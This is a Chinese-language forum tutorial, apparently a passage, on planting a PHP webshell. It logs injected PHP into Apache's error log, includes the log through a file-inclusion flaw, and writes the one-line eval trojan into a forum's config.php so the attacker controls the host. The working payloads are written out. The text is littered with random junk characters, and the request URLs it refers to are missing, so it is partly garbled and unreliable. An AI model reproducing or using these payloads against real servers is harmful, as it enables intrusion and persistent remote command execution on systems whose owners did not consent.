标题: php包含apache日志写马
因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。 ( r( Y* N( V8 r3 T6 f. _
! c+ ^$ `: H* p6 K/ c: Z
比如还是这句一句话木马 ( ]; M2 j# }# \0 _& h$ ]
<?eval($_POST[cmd]);?>   
# \1 j8 P2 _9 I$ s' w, @. n( f
5 ^& M% n! D$ }7 [到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句， 8 p+ G- b8 `* p# T9 ]  n4 T" v+ i
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
9 v5 c( N# l; S; ]2 {7 W5 J* G7 G9 e  m) U# e) u
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); / U1 \. {! k, }9 O2 U
fclose($fp);?>   //在config.php里写入一句木马语句
, K+ }& l5 t* {5 D% S# v. u) F' o
我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。

我们提交

2 a4 X( P! I8 r7 n* U, y! P
这样就错误日志里就记录下了这行写入webshell的代码。 ( e3 g0 @: R$ m8 F% @
我们再来包含日志，提交   J. I5 M$ p! i& i% }- V$ L

% [: ~' U2 _; _这样webshell就写入成功了，config.php里就写入一句木马语句

http://www.xxx.com/forum/config.php这个就成了我们的webshell * j& k( [$ k1 @% Y! Z
直接用lanker的客户端一连，主机就是你的了。
